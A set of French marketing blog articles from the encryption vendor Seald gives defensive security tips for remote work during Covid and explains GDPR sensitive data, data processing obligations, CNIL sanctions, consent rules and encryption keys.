D'un autre côté, d'autres solutions existent. Si vous avez des besoins avancés de sécurité, aucune solution Cloud ne peut valoir les solutions auto-hébergées. Si c'est quelque chose qui vous intéresse, n'hésitez pas à regarder du côté de Jitsi, une très bonne solution française open-source et auto-hébergée.

Seald vous propose deux jeux de conseils, un pour les employés, un autre pour la direction.

Conseils aux employés

Nous vivons une période particulière, la cybersécurité semble être le cadet de nos soucis, mais les hackers en profitent, ne nous laissons pas avoir !

1) Être attentif aux tentatives d’hameçonnage et de faux emails

En période de crise, il faut redoubler de vigilance quant aux tentatives d’hameçonnage en tous genres : essayer de vous faire taper vos mots de passe sur des faux sites, essayer de vous faire faire une opération de virement bancaire avec un faux RIB ou une fausse facture, afficher une carte des malades du Covid-19 en installant quelque chose sur l’ordinateur — un virus, etc.

2) Bien gérer ses mots de passe

On dit toujours qu’il ne faut pas utiliser le même mot de passe partout, cela est d’autant plus vrai que des accès distants sont fréquents. Utiliser un mot de passe à plusieurs endroits est un vecteur d’attaques très courant : si un site sur lequel ce mot de passe est utilisé subit une cyberattaque, il y a un risque que le mot de passe utilisé fuite, tous les autres sites partageant ce mot de passe seront potentiellement attaqués immédiatement après.

Il est également recommandé d’utiliser massivement l’authentification multi facteurs, option gratuite de presque tous les services en ligne.

3) Sécuriser le réseau

Sur un réseau domestique, il est important de protéger la communication avec le point d’accès wifi, et donc de s’assurer que celle-ci est correctement protégée :

• s’assurer que la connexion est protégée par du WPA2 (ou WPA3, mais très peu répandu) et non du WEP ou du WPA ;
• s’assurer que les imprimantes domestiques sur réseau ne sont pas en connexion Wi-Fi direct, mais bien connectées au réseau domestique ;
• s’assurer que les paramètres de partage de fichiers sur le réseau des ordinateurs sont désactivés ;
• s’assurer qu’aucun appareil sur le réseau n’utilise un mot de passe par défaut (du type admin / 1234) ;
• débrancher les appareils inutiles du réseau, s’ils sont mal maintenus ils peuvent être vecteurs d’une attaque ;

4) Appeler son support technique en cas de besoin

En cas de besoin de logiciel, de matériel, en cas de doute sur un email ou un fichier, il est préférable d’appeler son support technique ou de faire appel à un professionnel plutôt que d’essayer de trouver une solution tout seul.

5) Ne pas perdre l’habitude de verrouiller sa session

Ce n’est pas parce qu’on est dans un environnement plus protégé qu’il ne faut pas verrouiller sa session quand on n’est pas devant l’ordinateur. Quelqu’un d’autre dans le foyer pourrait — par négligence — ne pas respecter les exigences de sécurité et télécharger un fichier malveillant sans le savoir par exemple.

Conseils pour la direction

Il est indispensable d'armer vos équipes de façon pro-active plutôt que réactive, au risque de voir s'installer durablement des usages à risque. Voici quelques conseils que Seald vous encourage à suivre :

1) S’assurer que tout le monde a le bon matériel

Le télétravail est plus contraignant quand il est prolongé que lorsqu’il est ponctuel. Il est donc bon de s’assurer que les employés ont à leur disposition :

• un poste de travail équivalent en termes de confort à celui utilisé habituellement au travail  (chaise de travail, bureau, écran, clavier, souris, etc.) ;
• un ordinateur dédié au travail (ordinateur portable professionnel le plus souvent) ;
• un casque avec micro pour pouvoir passer des appels sans que d’autres personnes entendent la conversation, et pour plus de confort.

Pour équiper ses employés, nous préconisons de permettre aux employés de remonter leurs besoins en matériel aux équipes informatiques et soit :

• de leur permettre de l’acheter eux-mêmes (les règles URSSAF de remboursement en notes de frais sont ici https://www.urssaf.fr/portail/home/employeur/calculer-les-cotisations/les-elements-a-prendre-en-compte/les-frais-professionnels/le-teletravail/les-frais-engages-par-le-salarie.html) ;
• d’acheter le matériel pour le compte des employés et de le faire livrer chez eux ;
• de permettre aux employés d’acheter eux-mêmes avec une plateforme d’achat d’entreprise (Amazon for business par exemple).

2) Mettre à disposition des outils adaptés pour le travail collaboratif

Pour permettre aux employés de travailler en toute sécurité, et pour éviter qu’ils s’emploient à utiliser du shadow IT en masse, plusieurs gammes d’applications sont à mettre à disposition :

• Stockage partagé :
  Il est indispensable de donner un outil aux employés pour stocker des fichiers et les partager entre eux, et tracer l’activité. Cela permet de travailler plus rapidement, mais aussi permet d’éviter une perte de données si le poste utilisateur venait à perdre des données (panne, ransomware, erreur de manipulation, etc.).
  
  Des solutions comme Nextcloud, ownCloud ou Seafile peuvent être installées sur vos serveurs ou bien des solutions en SaaS comme SpiderOak ou Tresorit existent.
• Signature électronique :
  Pour assurer la continuité d’activité dans des départements dépendants de signatures papier (direction, département juridique, etc.), et pour éviter des envois de courrier difficiles en ces temps de confinement il est intéressant de s’équiper de solutions de signature électronique.
  Des solutions françaises comme Woleet s'appuyant sur la blockchain bitcoin pour horodater les signatures, ou YouSign plus classique fonctionne très bien.
• Visioconférence :
  Pour assurer la continuité de la collaboration & des échanges avec les clients, prospects et partenaires, il est impératif d’avoir des outils de visioconférence à sa disposition.
  La solution française et sécurisée de visioconférence est Tixéo qualifiée par l’ANSSI, les autres grands du marché sont bien évidemment Zoom.us (bien que décrié), Microsoft Teams, Discord ou encore Appear.in.
• Un chat d’entreprise :
  Les emails ne sont pas forcément pratiques pour travailler en équipe, une solution de chat d’entreprise est indispensable pour permettre aux équipes de travailler de façon agile, et si vous ne le mettez pas à la disposition des employés, des outils en Shadow IT seront certainement mis en place.
  Des outils comme Mattermost ou Matrix sont open-sources et hébergeables sur vos serveurs. D’autres solutions comme Slack ou Microsoft Teams sont également régulièrement utilisées.
• Un VPN :
  L’intérêt principal d’un VPN d’entreprise est de ne pas exposer les applications de l’entreprise sur Internet, mais seulement dans un Intranet auquel l’employé peut accéder via le VPN. Si un tel Intranet n’est pas en place, l’intérêt d’un VPN reste marginal. Il peut malgré tout protéger les utilisateurs connectés à des réseaux moins bien protégés que les réseaux d’entreprise contre certaines menaces avec un VPN.
  Les solutions de VPN du marché sont principalement OpenVPN dont les clients et serveur sont open-source, ou bien des protocoles d’entreprises plus classiques du type L2TP ou PPTP.

3) Restreindre les droits d’accès

Dans un contexte où les accès aux outils, données et documents de l’entreprise se font à distance, il est tentant de donner accès à tout à tout le monde dans le doute, mais cela expose ces données et ces outils à des menaces aussi variées qu’il y a d’environnements de travail. Avec une utilisation imprévisible du shadow IT, un mélange du cadre personnel et cadre du professionnel, des réseaux domestiques potentiellement vulnérables par des appareils connectés moins protégés sur le réseau : les menaces sont plus importantes.

Il est donc bon d’appliquer une politique stricte de restriction de droits d’accès, si un employé n’a pas besoin d’avoir accès à un outil ou une information, il vaut mieux lui en interdire l’accès. Cela évite qu’un seul employé puisse compromettre l’ensemble de l’entreprise.

4) S’assurer que le matériel est correctement protégé pour un usage nomade

Il est bon de recenser l’ensemble des appareils nomades utilisés par les employés dans le cadre professionnel et de s’assurer pour chacun que :

• il est à jour (Windows 7 n’est plus supporté par exemple, à moins d’avoir un contrat de maintenance dédié avec Microsoft), sinon on laisse la porte ouverte à des attaquants sur des failles déjà connues et exploitées, et en particulier sur des appareils non administrés par le support informatique ;
• il n’y a pas de logiciels piratés dessus, ou bien téléchargés sur des sites non officiels, c’est un vecteur extraordinaire de propagation de virus ;
• il est chiffré avec de la full-disk encryption pour protéger les données en cas de vol (Bitlocker sous Windows, FileVault sous mac, par défaut sous iOS, optionnel sous Android) ;
• que les paramètres de partage réseau sont désactivés, ou correctement contrôlés. C’est par ce genre de vecteur que WannaCry ou NotPetya se sont propagés, et une nouvelle faille sur le partage réseau a été très récemment corrigée ;
• qu’ils sont équipés de logiciels anti-virus à jour, ils ne sont pas imparables, mais permettent d’éviter les attaques les plus grossières ;
• qu’ils sont équipés de solutions de sauvegarde ;
• minimiser les applications gratuites (jeux, etc.) car ils sont souvent vecteurs de logiciels malveillant, en particulier sur mobile ;
• qu’ils sont équipés de solution de MDM pour pouvoir les administrer à distance, en particulier en cas de vol de l’appareil.

5) Activer l’authentification multi-facteurs

Que ce soit avec un SMS, une application d’authentification ou une clé U2F, l’authentification 2 facteurs (2FA ou MFA) est une barrière particulièrement puissante contre les accès illicites aux comptes. Il est très fortement conseillé que les administrateurs aient tous la 2FA activée, mais également les utilisateurs. Ce sont des options activables dans les tableaux d’administration de la plupart des applications web

Seald vous souhaite un bon télétravail, et sortez masqués 😷 !

Les données sensibles s’opposent donc aux données personnelles “classiques” qui correspondent à une catégorie plus large regroupant toute information à partir desquelles on peut identifier une personne : pseudo, numéro client, informations sur les habitudes de consommation, etc. Parmi ces données, certaines sont considérées comme sensibles, c’est-à-dire qu’elles bénéficient en raison de leur nature d’une protection supplémentaire. Il faut donc bien comprendre d’une part ce qu’est une donnée sensible au sens du RGPD, et d’autre part les obligations auxquelles vous devez vous soumettre si toutefois vous traitez de telles données. Si c’est le cas, des solutions existent pour vous aider dans votre mise en conformité au RGPD.

Qu’est-ce qu’une donnée sensible au sens du RGPD ?

Les données sensibles sont en réalité un ensemble de données que le RGPD désigne et définit séparément dans son article 4. Au-delà de cette subtilité juridique, une donnée est sensible parce qu’elle porte sur des informations privées et confidentielles, voire dont la divulgation peut potentiellement porter préjudice à celui qu’elle concerne. C’est ce qui justifie la création de cette catégorie spécifique et la mise en place de sanctions supplémentaires par le RGPD.

En pratique, il s’agit d’abord des données génétiques, biométriques permettant d’identifier la personne de manière unique, ou encore les informations de santé. Ensuite, on trouve les données portant sur la vie sexuelle ou l’orientation sexuelle d’une personne. Viennent ensuite les informations sur une prétendue origine ethnique ou raciale. Enfin, on retrouve des données plus psychiques sur les opinions politiques, religieuses ou philosophiques, ou encore sur l’appartenance à une organisation syndicale.

Ce type de donnée est donc une sous-catégorie des données personnelles en général. Si vous souhaitez en savoir plus sur les notions fondamentales relatives au RGPD comme celle de données personnelles, vous pouvez consulter notre article récapitulatif : le RGPD pour les nuls.

Une fois les données sensibles traitées par votre organisation identifiées, que faire ? Quelles sont vos obligations ?

RGPD et données sensibles : quelles sont vos obligations ?

Avez-vous le droit d’utiliser ces données ?

Le RGPD est très sévère en ce qui concerne les données sensibles. En effet, le traitement des données sensibles est par principe et par défaut interdit. Pour pouvoir collecter certaines de ces données sensibles, il faut vous trouver dans les cas bien précis prévus par le texte.

En pratique, le traitement des données sensibles est autorisé lorsque :

• ces données sont nécessaires pour poursuivre un but médical ou de recherche ;
• les personnes concernées sont membres adhérents d’une association (religieuse, politique, etc) ;
• les personnes ont donné leur consentement. Pour le RGPD, ce consentement doit être explicite, clair et donné par écrit spécifiquement pour cette catégorie de données.
• le traitement est justifié par l’intérêt public et autorisé en amont par la CNIL.

L’utilisation des données sensibles encadré

Dans un premier temps, il vous faut naturellement vous assurer que vous êtes bien dans un des cas permettant le traitement des données sensibles. Une fois cette étape passée, quelles sont les obligations qui pèsent sur vous dans l’utilisation de ces données ?

En réalité, il n’y a pas d’obligations spécifiques aux données sensibles dans leur utilisation et dans leur traitement. Être en conformité avec le RGPD entendu de façon générale dans l’utilisation des données sensibles est donc en principe suffisant. Néanmoins, certains points méritent une attention particulière, parce que des manquements au RGPD dans le cas de données sensibles sont plus graves et donc entraînent des sanctions plus importantes.

Le premier point est celui de la documentation. Si vous traitez des données sensibles ou présentant des risques pour la liberté et les droits des personnes, vous devez être particulièrement vigilant sur vos obligations de documentation, notamment en ce qui concerne la tenue du registre de traitement des données. Par exemple, le RGPD laisse aux PME une certaine souplesse dans la tenue de ce registre. Cette souplesse disparaît lorsqu’il s’agit de données personnelles et toute opération de traitement doit être consignée et justifiée.

Le second point particulièrement critique pour ce qui est des données sensibles et celui de la sécurité. Il est nécessaire de vous assurer que la sécurité de la donnée est assurée et d’éviter tout risque de vol ou de fuite de données. Les conséquences d’une cyberattaque sont en effet plus importantes lorsque des données sensibles sont visées, tant pour les personnes concernées que pour vous. Des solutions de sécurisation de la donnée existent. Il est notamment conseillé de recourir au chiffrement systématique des données sensibles collectées par votre entreprise.

Seald peut vous aider dans la conduite de votre politique RGPD en assurant la sécurité de vos données ou encore la gestion des accès à la donnée.

Better Seald than sorry.

Demander une démo Seald

Qu’est-ce que le traitement des données ? Qu’ai-je le droit de faire ? Quelles sont mes obligations en tant que responsable du traitement des données ou dirigeant ? La conformité au RGPD est devenu un enjeu majeur pour les dirigeants des entreprises et organisations européennes. Nous vous éclairons sur la notion de traitement des données, vos obligations, et sur comment vous mettre en conformité avec le RGPD.

Qu’est-ce que le traitement des données au sens du RGPD ?

Traitement des données : définition

La notion de traitement des données est définie par le RGPD dans son article 4. A la lecture de la définition, on se rend compte que la notion de traitement est extrêmement large. Elle désigne toute action ou opération faite sur la donnée. Il peut s’agir de collecte, de classement, d’organisation de la donnée, de sa transmission, par exemple.

Dès lors que vous récupérez de la donnée, quelle que soit l’utilisation qui en est faite, vous entrez donc très probablement dans le champ du traitement des données défini par le RGPD. Il n’y a donc aucune condition de secteur, de type de donnée ou encore de taille d’entreprise. C’est pourquoi les PME sont concernées par le RGPD, par exemple. C’est au niveau des obligations que des ajustements sont faits en fonction de la taille de l’entreprise, comme on va le voir plus loin.

Qu’est-ce que la donnée personnelle ?

Reste à définir rapidement la notion de donnée personnelle elle-même. En effet, si le traitement des données est très large sur ce qu’est le traitement lui-même, encore faut-il qu’il s’agisse de donnée personnelle au sens du RGPD. Là encore, c’est l’article 4 du texte qui définit la notion. Une donnée personnelle est une donnée portant sur une personne physique identifiée ou identifiable. Ce point mérite une seconde d’attention. Une personne quand elle peut être identifiée directement ou indirectement. Il peut s’agir d’une désignation par un pseudo, un numéro client ou un identifiant quelconque, évidemment un nom, un numéro de téléphone, etc. voire par différentes caractéristiques physiques, physiologiques, psychiques ou culturelles, comme ses préférences.

Parmi ces données, on retrouve dans le RGPD la notion de données sensibles, qui portent par exemple sur des informations de santé, ethniques ou religieuses ou encore sur l’orientation sexuelle. Celles-ci méritent une attention particulière et des normes de sécurité supérieures. Néanmoins, vous l’aurez compris, il n’est pas nécessaire que la donnée soit considérée comme sensible pour que l’entreprise opère un traitement des données.

Enfin, il faut noter que la personne concernée par la donnée peut varier. Ainsi, il peut s’agir de vos clients, partenaires, fournisseurs, utilisateurs et même de vos salariés. Utiliser un logiciel de gestion de paie par exemple, c’est déjà faire du traitement de données.

Quelles sont vos obligations dans le traitement des données ?

Le traitement des données n’est évidemment pas interdit par le RGPD. C’est justement le critère qui permet de déterminer qui est concerné par le RGPD. En revanche, traiter les données vous soumet à plusieurs obligations.

Tenir un registre des activités de traitement

Ce registre regroupe différentes informations : identité du responsable du traitement des données, catégories de données traitées, finalités du traitement, durée de conservation, etc.… À noter que pour les PME, ces obligations sont allégées pour ne concerner que les traitements non-occasionnels, ceux qui présentent un risque pour les droits et libertés des personnes concernées ou encore ceux portant sur des données sensibles.

Le recours aux sous-traitants

Le RGPD encadre les sous-traitants lorsque leur mission comprend un traitement des données. Plusieurs obligations sont nécessaires, notamment vous assurer que vos sous-traitants offrent des garanties suffisantes de sécurité de la donnée.

Le principe d'accountability

L’entreprise doit créer une documentation permettant de démontrer à tout moment que les principes du RGPD sont respectés. Notamment, il vous faut justifier que la donnée est effectivement utilisée pour remplir les finalités prévues.

La nomination d'un DPO

Dans certains cas, la nomination d’un DPO responsable du RGPD dans l’entreprise est nécessaire. Dans tous les cas, nommer un DPO peut vous aider, notamment pour dresser la documentation requise.

Sécurité de la donnée

Tout traitement des données entraîne une obligation de sécurisation de la donnée. L’entreprise doit mettre en place des mesures pour protéger les documents et données, qu’elles soient sur papier (sécuriser l’accès aux locaux) ou numériques.

Principe de limitation / Principe de minimisation

Ces deux principes fonctionnent ensemble et peuvent se résumer ainsi : le traitement des données doit être minimal proportionnellement aux finalités poursuivies. Cela signifie que les opérations ne doivent pas excéder les finalités pour lesquelles le consentement a été recueilli (si le RGPD exige le consentement).

De plus, il est nécessaire de limiter l’accès des personnes à la donnée : seules les équipes concernées par les opérations à effectuer doivent avoir accès à la donnée, et seulement aux documents utiles à leur mission.

Better Seald than sorry.

Ainsi, certains manquements aux obligations du règlement peuvent entraîner des sanctions parfois très lourdes pour les entreprises. Quelles violations peuvent entraîner des sanctions ? Quelle est la politique de la CNIL en matière de sanctions, entre accompagnement et contrôle ? Concrètement, quelles sanctions risquez-vous en cas de manquement et comment les éviter ?

Ces points sont essentiels pour comprendre les enjeux et vous aider dans votre mise en conformité avec le RGPD.

Les manquements au RGPD pouvant entraîner des sanctions

Le RGPD établit un certain nombre d’obligations qui visent à protéger les utilisateurs européens sur le traitement fait de leurs données personnelles. À titre d’exemple, la notion de consentement est au cœur du RGPD. Les entreprises sont tenues de recueillir le consentement de leurs utilisateurs pour l’utilisation de leurs données. Par exemple, c’est le cas lorsque vous collectez des adresses emails en vue de les utiliser pour des campagnes email commerciales. Plus largement, le RGPD impose un certain nombre de principes, de la sécurité de la donnée à la transparence des finalités poursuivies par son utilisation.

Il est également important de souligner l’étendue du champ d’application du RGPD. Ainsi, vous êtes soumis au texte dès lors que vous opérez un traitement des données au sens du RGPD, notion très large qui regroupe par exemple la collecte, le classement, la segmentation des données. Dès que vous récupérez des informations sur vos salariés ou vos utilisateurs, par exemple à des fins marketing, vous êtes soumis au RGPD et donc potentiellement exposé à des sanctions.

Pour un rappel des principales obligations du RGPD, consultez notre article : le RGPD pour les nuls.

Une politique de sanctions graduelle orientée vers l’application du RGPD

En cas de manquement au RGPD, si des sanctions existent bien sûr, parfois très lourdes, leur application n’est pas le premier objectif de la CNIL. Rappelons que la CNIL est chargée du RGPD en France. L’organisme est en fait chargé de plusieurs missions relatives à la protection des données en France. Or, le contrôle du RGPD n’est qu’une des facettes de ses rôles. Le premier d’entre eux est celui d’informer et d’accompagner les entreprises dans l’application du RGPD. Ainsi, une politique graduelle a été mise en place, visant plus à pousser les entreprises à appliquer le RGPD qu’à les punir en cas de violation.

En cas de manquement, la réponse de la CNIL suit plusieurs étapes successives :

1. Dans un premier temps, la CNIL adresse un rappel à l’entreprise fautive ou une mise en demeure de suivre les obligations du RGPD. Elle peut aussi accompagner le DPO responsable du RGPD dans l’entreprise pour mettre en place les mesures nécessaires.
2. La CNIL adresse une injonction de cesser la violation à l’entreprise concernée : cette injonction est plus formelle et plus “pressante” qu’une simple mise en demeure.
3. Cette étape n’est pas toujours présente. Elle consiste en une limitation ou suspension temporaire du traitement des données par l’entreprise concernée, le temps de trouver de nouveaux process pour être en conformité avec le RGPD. Là encore, la CNIL a un rôle d’accompagnateur.
4. Enfin et en dernier recours, la CNIL prononce des sanctions administratives suite à l’injonction non suivie. Les sanctions sont donc un dernier recours.

Néanmoins, ces sanctions sont très importantes pour les entreprises. D’où l’importance d’être constamment en conformité avec le RGPD !

Les types de sanctions en cas de violation du RGPD

Deux types de sanctions sont prévues par l’article 83 du RGPD en cas de violation du règlement. Leur application est limitativement fixée par le règlement qui fixe des facteurs pris en compte par la CNIL pour imposer une sanction qui soit proportionnelle, dissuasive et effective par rapport à la violation constatée.

D’une part, une première série de violations entraînent une sanction pouvant aller jusqu’à 2 % du chiffre d’affaires global de l’entreprise ou 10 millions d’euros d’amende, le plus grand montant étant retenu. Ces sanctions concernent par exemple l’absence de tenue d’un registre des traitements.

D’autre part, des sanctions plus importantes peuvent être prononcées, allant jusqu’à 4 % du chiffre d’affaires global de l’entreprise ou 20 millions d’euros. Il s’agit par exemple de l’absence de recueil du consentement de l’utilisateur ou d’un manquement à la sécurité des données sensibles au sens du RGPD.

Enfin, l’article 84 du RGPD donne la possibilité aux États membres de l’Union Européenne d’ajouter des sanctions pénales à ces sanctions administratives. En France, le Code pénal punit ainsi certaines pratiques, comme le détournement de la finalité du traitement des données. Ces condamnations peuvent aller jusqu’à 5 ans d’emprisonnement et 300 000 euros d’amende.

Les sanctions encourues en cas de manquement au RGPD peuvent donc être très lourdes et avoir des conséquences importantes sur les organisations ou entreprises concernées. D’où l’importance de veiller à rester en conformité avec les exigences du RGPD. De nombreux outils peuvent vous y aider, notamment des logiciels de mise en conformité au RGPD comme Seald qui prend en charge la sécurité de vos données et vous permet donc d’éviter les sanctions.

Better Seald than sorry.

Demander une démo Seald

La CNIL, gendarme du RGPD, contrôle et sanctionne le respect des normes européennes relatives au chiffrement des données. Se mettre en conformité avec le RGPD implique de recourir à des solutions de sécurité et de transparence. La CNIL a également un rôle d’accompagnateur vers le RGPD, c’est-à-dire qu’elle informe les entreprises sur leurs obligations et les accompagnent, dans certains cas, vers la conformité.

La CNIL, gendarme du RGPD

Le rôle de contrôle de la CNIL

La CNIL est, entre autres, responsable du RGPD sur le territoire français. La CNIL est donc gendarme du RGPD pour toutes les organisations dont l’activité entre dans le champ d’application du texte et pour la France. Pour rappel, toutes les organisations, entreprises ou non, qui conduisent des opérations de traitement des données en Europe sont visées par le RGPD.

En savoir plus avec notre article RGPD : Qui est concerné ?

En France, une des missions de la CNIL est donc de contrôler et de faire respecter le RGPD. Ainsi, c’est la CNIL qui contrôle les entreprises pour vérifier qu’elles appliquent bien les obligations européennes et c’est également elle qui prononce des sanctions.

La CNIL n’a pas de limitation en termes de secteurs d’activités, hormis les très rares cas qui sont exclus du champ d’application du RGPD (protection des droits fondamentaux par exemple). À titre d’exemple, la CNIL a récemment renforcé son contrôle des pratiques des agences immobilières au regard du RGPD.

Le fonctionnement de la CNIL

Concrètement, la CNIL peut exercer son contrôle de deux manières. D’une part, elle peut agir de son propre chef à l’occasion de contrôles. Ceux-ci ont souvent lieu directement en ligne, c’est-à-dire que les agents de la CNIL se rendent sur le site internet d’un acteur donné qu’elle souhaite contrôler. S’ils constatent un manquement potentiel à une obligation du RGPD, par exemple relatif au consentement exigé par le RGPD pour collecter les données personnelles, la CNIL pourra passer à un contrôle sur place ou à une audition des responsables concernés. Il est à noter que les modalités du contrôle (sur pièces, sur place, en ligne, etc) ne sont pas organisés selon une procédure précise et c’est l’organe de contrôle qui décide quel mode de fonctionnement est le mieux adapté.

D’autre part, la CNIL peut agir sur réclamation ou plainte. Celles-ci peuvent provenir d’utilisateurs ou de clients personnes physiques par exemple. Dans ce cas, la CNIL peut choisir d’agir en entament une procédure de contrôle.

Enfin, la CNIL peut bien sûr prononcer les sanctions prévues par le RGPD.

Accompagner, informer… les missions de la CNIL pour le RGPD

L’objectif de la CNIL est moins de sanctionner les contrevenants au RGPD que d’assurer sa bonne application. Dans cette optique, la CNIL est investie de missions d’information et d’accompagnement pour aider les entreprises à se mettre en conformité avec le RGPD. Elle peut notamment aider les DPO à appliquer le RGPD dans leur entreprise, notamment lorsque celle-ci est de taille importante.

Pas seulement : la CNIL propose un certain nombre d’outils numériques pour informer et accompagner les organisations de toutes les tailles. Ainsi, une boîte à outils a été mise en place pour aider les entreprises et notamment les PME à gérer le RGPD et leur conformité. Dans cette optique, la CNIL propose également des formations physiques ou en ligne pour aider les dirigeants non spécialistes de la donnée à en comprendre les enjeux.

Enfin, dans des cas spécifiques, comme celui d’une violation constatée par son auteur même dans le cadre du traitement des données, la CNIL peut accompagner plus précisément un acteur donné pour l’aider à régler le problème. On retrouve cet accompagnement personnalisé en particulier dans le cas où une entreprise serait amenée à traiter des données sensibles au sens du RGPD, qui méritent une attention particulière.

Évitez les sanctions de la CNIL avec les outils RGPD

Dans l’application du RGPD, la CNIL est donc investie d’une mission de contrôle et de sanction, mais également d’accompagnement. Cependant, il est évident qu’éviter les sanctions et assurer votre conformité au RGPD nécessite de recourir à des outils spécifiques.

Concrètement, des actions de sécurisation de la donnée doivent être mises en place pour assurer votre conformité. Heureusement, des outils peuvent vous y aider. Outre des antivirus, anti-malware et autres logiciels indispensables à votre bonne santé informatique en général, il devient nécessaire avec le RGPD de chiffrer les données que votre organisation est amenée à traiter.

Better Seald than sorry.

Demander une démo Seald

Il est donc essentiel de comprendre les obligations liées à la question du consentement pour les entreprises. Qu’est-ce que le consentement ? Comment le RGPD contrôle-t-il la validité du consentement ? Concrètement, comment se mettre en conformité avec le RGPD ?

Qu’est-ce que le consentement au sens du RGPD ?

C’est l’article 4 qui définit le consentement au sens du RGPD, en expliquant qu’il s’agit d’une manifestation de volonté par laquelle la personne concernée autorise que des données à caractère personnel la concernant soient traitées.

Plus concrètement, le RGPD définit le consentement en fonction de la notion de traitement des données qui est l’objet du consentement. Cela signifie que lorsque vous traitez des données personnelles de vos utilisateurs, vous pouvez avoir à demander le consentement de la personne concernée.

Pour rappel, le traitement des données comprend la collecte, le classement, l’utilisation des données notamment à des fins commerciales (par exemple pour constituer une base d’emails à partir d’adresses). Il est donc très probable que vous soyez concerné par cette notion. Pour plus de détails, voici qui est concerné par le RGPD et ses obligations.

Au-delà de cette première définition relativement simple du consentement, il faut savoir qu’en réalité, le consentement ne constitue qu’une des 6 raisons pouvant autoriser un organisme, entreprise ou autre, à collecter et traiter des données. On y reviendra. C’est toutefois la raison la plus courante pour une utilisation commerciale de la donnée.

En savoir plus sur le RGPD en général avec notre article : le RGPD pour les nuls.

La validité du consentement au sens du RGPD

En France, le RGPD contrôlé par la CNIL impose le respect de 4 critères pour assurer la validité du consentement donné. Ces critères sont évoqués à l’article 4 du RGPD :

Libre

Le consentement doit être libre. En pratique, le principe de liberté implique deux choses. D’une part, l’utilisateur doit avoir un vrai choix non influencé. Il doit donc avoir la possibilité de refuser le traitement de ses données. D’autre part, ce refus ne doit pas avoir d’influence négative sur la qualité du service. Par exemple, donner son consentement au traitement des données ne doit pas être une condition pour accéder aux offres proposées par les agences immobilières, visées par le RGPD et la CNIL récemment (sauf cas précis).

Spécifique

Le principe de spécificité implique que le consentement ne peut pas être donné en général. Un utilisateur ne doit pas donner son autorisation pour le traitement de ses données en général mais ne peut donner son consentement que par rapport à une utilisation précise et limitée de sa donnée.

Éclair

Le consentement doit être éclairé. Ce principe rejoint celui de transparence, plus général dans le RGPD. Cela signifie que la demande de consentement adressée à l’utilisateur doit être accompagnée d’un certain nombre d’informations : identité du responsable de traitement, finalités poursuivies (utilisations de la donnée), catégories de données collectées, existence d’un droit de retrait du consentement pour l’utilisateur… Sans ses informations, le consentement est considéré comme invalide et vous risquez alors des sanctions prévues par le RGPD.

Univoque

Selon le RGPD, le consentement doit être une déclaration ou tout acte positif clair. Il ne faut aucune ambiguïté dans le consentement. Cela exclut notamment les accords groupés pour plusieurs finalités d’utilisation ou encore les cases pré-cochées.

Le respect de l’ensemble de ses critères est nécessaire à la validité du consentement et donc à la conformité au RGPD. Comment et quand faut-il demander le consentement de l’utilisateur ?

Comment et quand demander le consentement d’un utilisateur ?

Faut-il toujours demander le consentement d’un utilisateur ?

Non ! On l’a dit, le consentement est une des 6 bases légales pouvant autoriser le traitement des données. Par exemple, l’exécution d’un contrat est une autre base légale. Néanmoins, c’est la raison la plus courante de justifier le traitement des données. Surtout, certaines opérations, comme la prospection par emails, ne peut être autorisée que par consentement. Les autres bases légales pouvant mener à un traitement, comme l’intérêt légitime, sont plus délicates à manier et plus difficiles à apprécier. Notamment, il est plus sûr pour les PME visées par le RGPD de se reposer sur le consentement.

Le consentement des enfants ?

Le RGPD donne une certaine marge de manœuvre aux États en établissement que le consentement des mineurs peut être valide entre 13 et 16 ans. En France, la limite est de 15 ans, en dessous de laquelle un responsable légal doit donner son autorisation au traitement des données.

Un consentement plus explicite

Dans certains cas, le consentement doit être plus explicite encore. Il peut alors être nécessaire de prévoir une case à cocher spécifique pour certains types de données ou encore de recueillir le consentement en deux étapes, par exemple d’abord sur le site web de l’entreprise puis par email. Cette précaution particulière concerne notamment les données sensibles au sens du RGPD.

Enfin, il est à noter qu’avec le RGPD, l’entreprise doit prévoir de donner la preuve de la collecte du consentement à tout moment en cas de contrôle. C’est un des rôles du DPO, responsable RGPD au sein de l’entreprise.

Vous le voyez, cette notion de consentement est également liée à celle de l’utilisation conforme des données par l’entreprise. Par exemple, il est essentiel de bien recueillir et contrôler l’utilisation de la donnée en fonction de l’accord qui a été donné. Pour cela, des outils peuvent vous aider à contrôler et limiter l’utilisation de la donnée. C’est notamment le cas des logiciels de chiffrement des données, comme Seald, qui vous aident à vous mettre en conformité avec le RGPD.

Better Seald than sorry.

Testez Seald avec votre équipe !

Il est donc utile de se pencher sur le fonctionnement des clés de chiffrement. Qu'est-ce que c'est et comment l'utilise-t-on ? On pourra également étudier certaines applications du chiffrement, comme le chiffrement des emails et des fichiers, ou l’application du chiffrement au cloud. Enfin, il faudra se pencher sur l’épineux problème du transfert de clé de chiffrement ! On pourra alors présenter la solution originale proposée par Seald sur ce point, qui règle un certain nombre de problèmes de sécurité.

Clé de chiffrement : définition

Qu’est-ce qu’une clé de chiffrement ? Au sens large, une clé de chiffrement peut revêtir plusieurs formes, y compris des indications de câblage et de paramétrage d’une machine, comme c’était le cas avec la machine Enigma. Plus proche de nous, le chiffrement est aujourd’hui principalement numérique. La clé de chiffrement est désormais une suite aléatoire de chiffres et de lettres qui va permettre à un outil de « coder » un message pour le rendre indéchiffrable, à moins de posséder une clé correspondante. Profitons-en pour préciser qu’on parle bien de clé de chiffrement et de chiffrement des fichiers. Il est donc impropre de dire qu’on peut crypter un fichier, même si le terme est parfois utilisé.

Schématiquement, plus la clé de chiffrement est longue, plus elle est sécurisée. Si la réalité est plus complexe, cette notion reste vérifiable, notamment dans le cas du chiffrement symétrique, sur lequel on reviendra plus loin. Dans ce cas, la norme actuelle est de posséder une clé de chiffrement de 128 bits. Il y aura donc 2128 valeurs possibles pour la clé, ce qui permet d’éviter qu’un système puisse essayer toutes les possibilités de clé avant de « tomber » sur la bonne. La longueur de la clé n’est pas aussi pertinente dans les systèmes de chiffrement asymétrique, puisqu’ils reposent souvent sur des opérations arithmétiques sous-jacentes, comme c’est le cas avec le système RSA. Il est inutile d’entrer dans les détails sur ce point.

On peut utiliser ce système dans de nombreux domaines. Par exemple, les entreprises rencontrent un enjeu de sécurité important avec les applications en Cloud. Le chiffrement en cloud offert nativement par les applications est très faible voire inexistant, notamment dans les versions gratuites. Or les applications en Cloud sont de plus en plus nombreuses. Il devient donc nécessaire de recourir à un service tiers qui vient assurer la sécurité dans l’utilisation de ces services. Il peut s’agir d’un CASB, Cloud Application Security Broker, ou encore de Seald qui peut être utilisé dans ce cadre.

